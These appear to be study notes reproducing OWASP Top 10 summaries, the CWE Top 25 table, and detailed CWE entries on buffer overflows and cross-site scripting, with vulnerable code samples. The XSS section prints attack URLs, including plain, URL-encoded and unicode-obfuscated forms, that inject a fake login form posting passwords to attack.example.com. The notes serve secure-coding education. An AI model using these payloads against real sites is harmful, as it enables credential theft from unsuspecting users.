OWASP top 10, CWE/SANS 25

---

OWASP Top 10 and CWE/SANS 25

OWASP Top 10	SANS CWE 25
A1: Injection	CWE-78: Improper Neutralization of Special Elements Used in an OS Command (‘OS Command Injection’) CWE-89: SQL Injection CWE-94: Code Injection CWE-434: Unrestricted Upload of File with Dangerous Type CWE-494: Download of Code Without Integrity Check CWE-829: Inclusion of Functionality from Untrusted Control Sphere
A2: Broken Authentication	CWE-306: Missing Authentication for Critical Function CWE-307: Improper Restriction of Excessive Authentication Attempts CWE-798: Use of Hard-coded Credentials CWE-807: Reliance on Untrusted Inputs in a Security Decision CWE-862: Missing Authorization CWE-863: Incorrect Authorization
A3: Sensitive Data Exposure	CWE-311: Missing Encryption of Sensitive Data CWE-319: Cleartext Transmission of Sensitive Information
A4: XML External Entities	None
A5: Broken Access Control	CWE-73: External Control of File Name or Path CWE-285: Improper Authorization
A6: Security Misconfiguration	CWE-250: Execution with Unnecessary Privileges CWE-676: Use of Potentially Dangerous Function CWE-732: Incorrect Permission Assignment for Critical Resource
A7: Cross-Site Scripting (XSS)	CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-Site Scripting’)
A8: Insecure Deserialization	CWE-134: Use of Externally-Controlled Format String
A9: Using Components with Known Vulnerabilities	CWE-190: Integer Overflow or Wraparound CWE-327: Use of a Broken or Risky Cryptographic Algorithm CWE-759: Use of a One-way Hash Without a Salt
A10: Insufficient Logging and Monitoring	None

---

Open Web Application Security Project (OWASP)

• an online community

• produces freely-available articles, methodologies, documentation, tools, and technologies in the field of web application security

• OWASP Top Ten: Top 10 Web Application Security Risks 2017
  • 每年的一份关于web应用的十大威胁安全报告，会在经过安全专家的测验之后确定十大类对当前web应用威胁最大和被应用最广的漏洞，同时也会对其进行详细的分析威胁所在。

1. Injection

• Injection flaws, such as SQL, NoSQL, OS, and LDAP injection,
• occur when untrusted data is sent to an interpreter as part of a command or query.
• The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

2. Broken Authentication.

• Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to
  • compromise passwords, keys, or session tokens,
  • or exploit other implementation flaws to assume other users’ identities temporarily or permanently.

3. Sensitive Data Exposure.

• Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII.
• Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes.
• Sensitive data may be compromised without extra protection, such as
  • encryption at rest or in transit,
  • and requires special precautions when exchanged with the browser.

4. XML External Entities (XXE).

• Many older or poorly configured XML processors evaluate external entity references within XML documents.
• External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.

5. Broken Access Control.

• Restrictions on what authenticated users are allowed to do are often not properly enforced.
• Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users’ accounts, view sensitive files, modify other users’ data, change access rights, etc.

6. Security Misconfiguration.

• the most commonly seen issue, a result of:
  • insecure default configurations
  • incomplete or ad hoc configurations
  • open cloud storage
  • misconfigured HTTP headers
  • and verbose error messages containing sensitive information
• Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion.

7. Cross-Site Scripting XSS.

• XSS flaws occur whenever
  • an application includes untrusted data in a new web page without proper validation or escaping,
  • or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript.
• XSS allows attackers to execute scripts in the victim’s browser which can
  • hijack user sessions
  • deface web sites
  • or redirect the user to malicious sites.

8. Insecure Deserialization.

• Insecure deserialization 反序列化 often leads to
  • remote code execution
  • replay attacks
  • injection attacks
  • privilege escalation attacks.

9. Using Components with Known Vulnerabilities.

• Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application.
• If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover.
• Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.

10. Insufficient Logging & Monitoring.

• Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data.

• Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring.

• OWASP Software Assurance Maturity Model: The Software Assurance Maturity Model (SAMM) project is committed to building a usable framework to help organizations formulate and implement a strategy for application security that is tailored to the specific business risks facing the organization.
• OWASP Development Guide: The Development Guide provides practical guidance and includes J2EE, ASP.NET, and PHP code samples. The Development Guide covers an extensive array of application-level security issues, from SQL injection through modern concerns such as phishing, credit card handling, session fixation, cross-site request forgeries, compliance, and privacy issues.
• OWASP Testing Guide: The OWASP Testing Guide includes a “best practice” penetration testing framework that users can implement in their own organizations and a “low level” penetration testing guide that describes techniques for testing most common web application and web service security issues. Version 4 was published in September 2014, with input from 60 individuals.[12]
• OWASP Code Review Guide: The code review guide is currently at release version 2.0, released in July 2017.
• OWASP Application Security Verification Standard (ASVS): A standard for performing application-level security verifications.[13]
• OWASP XML Security Gateway (XSG) Evaluation Criteria Project.[14]
• OWASP Top 10 Incident Response Guidance. This project provides a proactive approach to Incident Response planning. The intended audience of this document includes business owners to security engineers, developers, audit, program managers, law enforcement & legal council.[15]
• OWASP ZAP Project: The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience including developers and functional testers who are new to penetration testing. Webgoat: a deliberately insecure web application created by OWASP as a guide for secure programming practices.[1] Once downloaded, the application comes with a tutorial and a set of different lessons that instruct students how to exploit vulnerabilities with the intention of teaching them how to write code securely.
• OWASP AppSec Pipeline: The Application Security (AppSec) Rugged DevOps Pipeline Project is a place to find information needed to increase the speed and automation of an application security program. AppSec Pipelines take the principles of DevOps and Lean and applies that to an application security program.[16]
• OWASP Automated Threats to Web Applications: Published July 2015[17] - aims to provide definitive information and other resources for architects, developers, testers and others to help defend against automated threats such as credential stuffing. The project outlines the top 20 automated threats as defined by OWASP.[18]

---

CWE Top 25 Most Dangerous Software Weaknesses - 2023

2023 CWE Top 25 table: ¹

Rank	ID	Name	Score	CVEs in KEV Rank	Change vs. 2022
1	CWE-787	Out-of-bounds Write	63.72	70	0
2	CWE-79	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)	45.54	4	0
3	CWE-89	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)	34.27	6	0
4	CWE-416	Use After Free	16.71	44	+3
5	CWE-78	Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)	15.65	23	+1
6	CWE-20	Improper Input Validation	15.50	35	-2
7	CWE-125	Out-of-bounds Read	14.60	2	-2
8	CWE-22	Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)	14.11	16	0
9	CWE-352	Cross-Site Request Forgery (CSRF)	11.73	0	0
10	CWE-434	Unrestricted Upload of File with Dangerous Type	10.41	5	0
11	CWE-862	Missing Authorization	6.90	0	+5
12	CWE-476	NULL Pointer Dereference	6.59	0	-1
13	CWE-287	Improper Authentication	6.39	10	+1
14	CWE-190	Integer Overflow or Wraparound	5.89	4	-1
15	CWE-502	Deserialization of Untrusted Data	5.56	14	-3
16	CWE-77	Improper Neutralization of Special Elements used in a Command (‘Command Injection’)	4.95	4	+1
17	CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer	4.75	7	+2
18	CWE-798	Use of Hard-coded Credentials	4.57	2	-3
19	CWE-918	Server-Side Request Forgery (SSRF)	4.56	16	+2
20	CWE-306	Missing Authentication for Critical Function	3.78	8	-2
21	CWE-362	Concurrent Execution using Shared Resource with Improper Synchronization (‘Race Condition’)	3.53	8	+1
22	CWE-269	Improper Privilege Management	3.31	5	+7
23	CWE-94	Improper Control of Generation of Code (‘Code Injection’)	3.30	6	+2
24	CWE-863	Incorrect Authorization	3.16	0	+4
25	CWE-276	Incorrect Default Permissions	3.16	0	-5

---

CWE/SANS TOP 25 Common Weakness Enumeration

Most Dangerous Software Errors

1. CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer

Weakness ID: 119 Abstraction: Class Structure: Simple

Description:

• The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
• Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced.
• This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.
• As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.

Buffer Overflow, buffer overrun, memory safety:

Modes Of Introduction

• The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

Applicable Platforms

• Languages
• C (Often Prevalent)
• C++ (Often Prevalent)
• Class: Assembly (Undetermined Prevalence)

Common Consequences

• Integrity
  • Technical Impact: Execute Unauthorized Code or Commands; Modify Memory
  • If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow.
  • If the attacker can overwrite a pointer’s worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code.
  • Even when the attacker can only modify a single byte arbitrary code execution can be possible.
  • Sometimes this is because the same problem can be exploited repeatedly to the same effect.
  • Other times it is because the attacker can overwrite security-critical application-specific data – such as a flag indicating whether the user is an administrator.
• Confidentiality
  • Technical Impact: Read Memory; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)
  • Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.
  • Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
• Availability
  • Technical Impact: Read Memory
  • In the case of an out-of-bounds read, the attacker may have access to sensitive information.
  • If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

Likelihood Of Exploit: High

Demonstrative bad code Examples

// Example 1
// This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.
// Example Language: C 

void host_lookup(char *user_supplied_addr){
	struct hostent *hp;
	in_addr_t *addr;
	char hostname[64];
	in_addr_t inet_addr(const char *cp);

	_/*routine that ensures user_supplied_addr is in the right format for conversion */_

	validate_addr_form(user_supplied_addr);
	addr = inet_addr(user_supplied_addr);
	hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
	strcpy(hostname, hp->h_name);
}
// This function allocates a buffer of 64 bytes to store the hostname,
// however there is no guarantee that the hostname will not be larger than 64 bytes.
// If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.
// Note that this example also contains an unchecked return value ([CWE-252]) that can lead to a NULL pointer dereference ([CWE-476]).



// Example 2
// This example applies an encoding procedure to an input string and stores it into a buffer.
// Example Language: C 

char * copy_input(char *user_supplied_string){
	int i, dst_index;
	char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
	if ( MAX_SIZE <= strlen(user_supplied_string) ){
		die("user string too long, die evil hacker!");
	}
	dst_index = 0;
	for ( i = 0; i < strlen(user_supplied_string); i++ ){
		if( '&' == user_supplied_string[i] ){
			dst_buf[dst_index++] = '&';
			dst_buf[dst_index++] = 'a';
			dst_buf[dst_index++] = 'm';
			dst_buf[dst_index++] = 'p';
			dst_buf[dst_index++] = ';';
		}
		else if ('<' == user_supplied_string[i] ){
		_/* encode to &lt; */_
		}
		else dst_buf[dst_index++] = user_supplied_string[i];
	}
	return dst_buf;
}
// The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied.
// Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5.
// As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.




// Example 3
// The following example asks a user for an offset into an array to select an item.
// Example Language: C 
int main (int argc, char **argv) {
	char *items[] = {"boat", "car", "truck", "train"};
	int index = GetUntrustedOffset();
	printf("You selected %sn", items[index-1]);
}
// The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read ([CWE-126]).




// Example 4
// In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method
// Example Language: C 
int getValueFromArray(int *array, int len, int index) {
	int value;
	_// if array index < the maximum length of the array
	if (index < len) {
		_// get the value at the specified index of the array
		value = array[index];
	}
	_// if array index is invalid then output error message and return value indicating error
	else {
		printf("Value is: %dn", array[index]);
		value = -1;
	}
return value;
}
// However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value ([CWE-839]).
// This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read ([CWE-125]) and may allow access to sensitive memory.
// The input array index should be checked to verify that is within the maximum and minimum range required for the array ([CWE-129]).
// In this example the if statement should be modified to include a minimum range check, as shown below.

// (good code)
// Example Language: C 
// _// check that the array index is within the correct range of values for the array_
// if (index >= 0 && index < len) {



// Example 5
// Windows provides the _mbs family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: _mbsinc _mbsdec _mbsncat _mbsncpy _mbsnextc _mbsnset _mbsrev _mbsset _mbsstr _mbstok _mbccpy _mbslen

Observed Examples:

• CVE-2009-2550: Classic- stack-based buffer overflow in media player using a long entry in a playlis: - CVE-2009-2403: Heap-based buffer overflow in media- player using a long entry in a playlis: - CVE-2009-0689: large precision value in a format string triggers overflo: - CVE-2009-0690: negative offset value leads to- out-of-bounds rea: - CVE-2009-1532: malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory- corruptio: - CVE-2009-1528: chain:- lack of synchronization leads to memory corruptio: - CVE-2009-0558: attacker-controlled array index leads to code executio: - CVE-2009-0269: chain: -1 value from- a function call was intended to indicate an error, but is used as an array index instead: - CVE-2009-0566: chain: incorrect- calculations lead to incorrect pointer dereference and memory corruptio: - CVE-2009-1350: product accepts crafted messages that lead- to a dereference of an arbitrary pointe: - CVE-2009-0191: chain: malformed input causes dereference of uninitialized memor: - CVE-2008-4113: OS kernel trusts- userland-supplied length value, allowing reading of sensitive informatio: - CVE-2005-1513: Chain: integer overflow in securely-coded mail program leads to buffer overflow. In 2005, this was regarded as unrealistic to exploit, but in 2020, it was rediscovered to be easier to exploit due to evolutions of the technology.
• CVE-2003-0542: buffer overflow- involving a regular expression with a large number of capture: - CVE-2017-1000121: chain: unchecked message size metadata allows integer overflow ([CWE-190]) leading to buffer overflow ([CWE-119]).

Potential Mitigations

1. Phase: Requirements
   • Strategy: Language Selection
   • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
   • For example,
     • many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows.
     • Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.
   • Be wary that a language’s interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
2. Phase: Architecture and Design
   • Strategy: Libraries or Frameworks
   • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
   • Examples include the Safe C String Library (SafeStr) by Messier and Viega [[REF-57]], and the Strsafe.h library from Microsoft [[REF-56]].
   • These libraries provide safer versions of overflow-prone string-handling functions.
   • Note: This is not a complete solution, since many buffer overflows are not related to strings.
3. Phase: Build and Compilation
   • Strategy: Compilation or Build Hardening
   • Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.
   • For example,
     • certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code.
     • Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.
   • Effectiveness: Defense in Depth
   • Note: This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.
4. Phase: Implementation
   • Consider adhering to the following rules when allocating and managing an application’s memory:
     • Double check that your buffer is as large as you specify.
     • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
     • Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.
     • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
       1. Phase: Operation
   • Strategy: Environment Hardening
   • Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory.
   • Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
   • Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].
   • Effectiveness: Defense in Depth
   • Note: This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.
5. Phase: Operation
   • Strategy: Environment Hardening
   • Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61]
   • Effectiveness: Defense in Depth
   • Note: This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software’s state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.
6. Phase: Implementation
   • Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy.
   • Create these if they are not available.
   • Effectiveness: Moderate
   • Note: This approach is still susceptible to calculation errors, including issues such as off-by-one errors ([CWE-193]) and incorrectly calculating buffer lengths ([CWE-131]).

Detection Methods

1. Automated Static Analysis
   • This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.
   • Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.
   • Effectiveness: High
   • Note: Detection techniques for buffer-related errors are more mature than for most other weakness types.
2. Automated Dynamic Analysis
   • This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection.
   • The software’s operation may slow down, but it should not become unstable, crash, or generate incorrect results.
3. Automated Static Analysis - Binary or Bytecode
   • According to SOAR, the following detection techniques may be useful:
   • Cost effective for partial coverage:
     • Binary / Bytecode Quality Analysis
     • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
     • Binary Weakness Analysis - including disassembler + source code weakness analysis
   • Effectiveness: SOAR Partial
4. Manual Static Analysis - Binary or Bytecode
   • According to SOAR, the following detection techniques may be useful:
   • Cost effective for partial coverage:
     • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
   • Effectiveness: SOAR Partial
5. Dynamic Analysis with Automated Results Interpretation
   • According to SOAR, the following detection techniques may be useful:
   • Cost effective for partial coverage:
     • Web Application Scanner
     • Web Services Scanner
     • Database Scanners
   • Effectiveness: SOAR Partial
6. Dynamic Analysis with Manual Results Interpretation
   • According to SOAR, the following detection techniques may be useful:
   • Cost effective for partial coverage:
     • Fuzz Tester
     • Framework-based Fuzzer
   • Effectiveness: SOAR Partial
7. Manual Static Analysis - Source Code
   • According to SOAR, the following detection techniques may be useful:
   • Cost effective for partial coverage:
     • Focused Manual Spotcheck - Focused manual analysis of source
     • Manual Source Code Review (not inspections)
   • Effectiveness: SOAR Partial
8. Automated Static Analysis - Source Code
   • According to SOAR, the following detection techniques may be useful:
   • Cost effective for partial coverage:
     • Source code Weakness Analyzer
     • Context-configured Source Code Weakness Analyzer
   • Cost effective for partial coverage:
     • Source Code Quality Analyzer
   • Effectiveness: High
9. Architecture or Design Review(())
   • According to SOAR, the following detection techniques may be useful:
   • Cost effective for partial coverage:
     • Formal Methods / Correct-By-Construction
   • Cost effective for partial coverage:
     • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
   • Effectiveness: High

Affected Resources: Memory

---

2. CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

Weakness ID: 79 Abstraction: Base Structure: Simple

Description:

• The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Untrusted data enters a web application
   • typically from a web request.
2. The web application dynamically generates a web page that contains this untrusted data.
3. During page generation, the application does not prevent the data from containing content that is executable by a web browser
   • such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
6. This effectively violates the intention of the web browser’s same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

• Type 1: Reflected XSS (or Non-Persistent)
  • The server reads data directly from the HTTP request and reflects it back in the HTTP response.
  • Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser.
  • The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim.
  • URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker’s content back to the victim, the content is executed by the victim’s browser.
• Type 2: Stored XSS (or Persistent)
  • The application stores dangerous data in a database, message forum, visitor log, or other trusted data store.
  • At a later time, the dangerous data is subsequently read back into the application and included in dynamic content.
  • From an attacker’s perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users.
  • Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker.
  • If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
  • For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
• Type 0: DOM-Based XSS
  • In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection.
  • DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it.
  • If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities.

• transfer private information, such as cookies that may include session information, from the victim’s machine to the attacker.
• send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site.
• Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim’s account on that web site.
• Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim’s machine, sometimes referred to as “drive-by hacking.”
• In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

Alternate Terms: XSS, HTML Injection, CSS

Background Details

• Same Origin Policy
  • The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site, or “origin”, to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or “origins”.
  • The goal is to prevent one site from being able to modify or read the contents of an unrelated site.
  • Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.
• Domain
  • The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-side of the connection.
  • That is, the domain can be thought of as all resources the browser is storing for the user’s interactions with this particular site.

Applicable Platforms

• Class: Language-Independent (Undetermined Prevalence)
• Class: Web Based (Often Prevalent)

Common Consequences

• Confidentiality
  • Technical Impact: _Bypass Protection Mechanism; Read Application Data_
  • The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies.
  • Typically, a malicious user will craft a client-side script, which – when parsed by a web browser – performs some activity (such as sending all site cookies to a given E-mail address).
  • This script will be loaded and run by each user visiting the web site.
  • Since the site requesting to run the script has access to the cookies in question, the malicious script does also.
• Integrity
  • Technical Impact: _Execute Unauthorized Code or Commands_
  • In some circumstances it may be possible to run arbitrary code on a victim’s computer when cross-site scripting is combined with other flaws.
• Availability
  • Technical Impact: _Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Read Application Data_
  • The consequence of an XSS attack is the same regardless of whether it is stored or reflected.
  • The difference is in how the payload arrives at the server.
  • XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise.
    • manipulate or steal cookies,
    • create requests that can be mistaken for those of a valid user,
    • compromise confidential information,
    • or execute malicious code on the end user systems for a variety of nefarious purposes.
    • the disclosure of end user files,
    • installation of Trojan horse programs,
    • redirecting the user to some other page or site,
    • running “Active X” controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy,
    • and modifying presentation of content.

Likelihood Of Exploit: High

Demonstrative Examples

// Example 1
// This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.
// Example Language: PHP 

$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';

// Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

(attack code)
https://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

// This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer?
// The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.


// More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

(attack code)
https://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="https://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

// If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

// (result)

<div class="header"> Welcome,
	<div id="stealPassword"> Please Login:
	<form name="input" action="attack.example.com/stealPassword.php" method="post">
		Username: <input type="text" name="username" /><br/>
		Password: <input type="password" name="password" /><br/>
		<input type="submit" value="Login" />
	</form>
	</div>
</div>

// The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

(attack code)

trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

// The same attack string could also be obfuscated as:

(attack code)

trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('u003Cu0064u0069u0076u0020u0069u0064u003Du0022u0073
u0074u0065u0061u006Cu0050u0061u0073u0073u0077u006Fu0072u0064
u0022u003Eu0050u006Cu0065u0061u0073u0065u0020u004Cu006Fu0067
u0069u006Eu003Au003Cu0066u006Fu0072u006Du0020u006Eu0061u006D
u0065u003Du0022u0069u006Eu0070u0075u0074u0022u0020u0061u0063
u0074u0069u006Fu006Eu003Du0022u0068u0074u0074u0070u003Au002F
u002Fu0061u0074u0074u0061u0063u006Bu002Eu0065u0078u0061u006D
u0070u006Cu0065u002Eu0063u006Fu006Du002Fu0073u0074u0065u0061
u006Cu0050u0061u0073u0073u0077u006Fu0072u0064u002Eu0070u0068
u0070u0022u0020u006Du0065u0074u0068u006Fu0064u003Du0022u0070
u006Fu0073u0074u0022u003Eu0055u0073u0065u0072u006Eu0061u006D
u0065u003Au0020u003Cu0069u006Eu0070u0075u0074u0020u0074u0079
u0070u0065u003Du0022u0074u0065u0078u0074u0022u0020u006Eu0061
u006Du0065u003Du0022u0075u0073u0065u0072u006Eu0061u006Du0065
u0022u0020u002Fu003Eu003Cu0062u0072u002Fu003Eu0050u0061u0073
u0073u0077u006Fu0072u0064u003Au0020u003Cu0069u006Eu0070u0075
u0074u0020u0074u0079u0070u0065u003Du0022u0070u0061u0073u0073
u0077u006Fu0072u0064u0022u0020u006Eu0061u006Du0065u003Du0022
u0070u0061u0073u0073u0077u006Fu0072u0064u0022u0020u002Fu003E
u003Cu0069u006Eu0070u0075u0074u0020u0074u0079u0070u0065u003D
u0022u0073u0075u0062u006Du0069u0074u0022u0020u0076u0061u006C
u0075u0065u003Du0022u004Cu006Fu0067u0069u006Eu0022u0020u002F
u003Eu003Cu002Fu0066u006Fu0072u006Du003Eu003Cu002Fu0064u0069u0076u003Eu000D');</script>

// Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

<!-- Example 2
This example also displays a Reflected XSS (Type 1) scenario.
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.
Example Language: JSP  -->

<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

<!-- The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user. -->

(bad code)

Example Language: ASP.NET 

<%
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>

<p><asp:label id="EmployeeID" runat="server" /></p>

<!-- The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response. -->





<!-- Example 3
This example covers a Stored XSS (Type 2) scenario.
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.
Example Language: JSP  -->

<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}%>

Employee Name: <%= name %>

<!-- The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

(bad code)

Example Language: ASP.NET  -->

<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
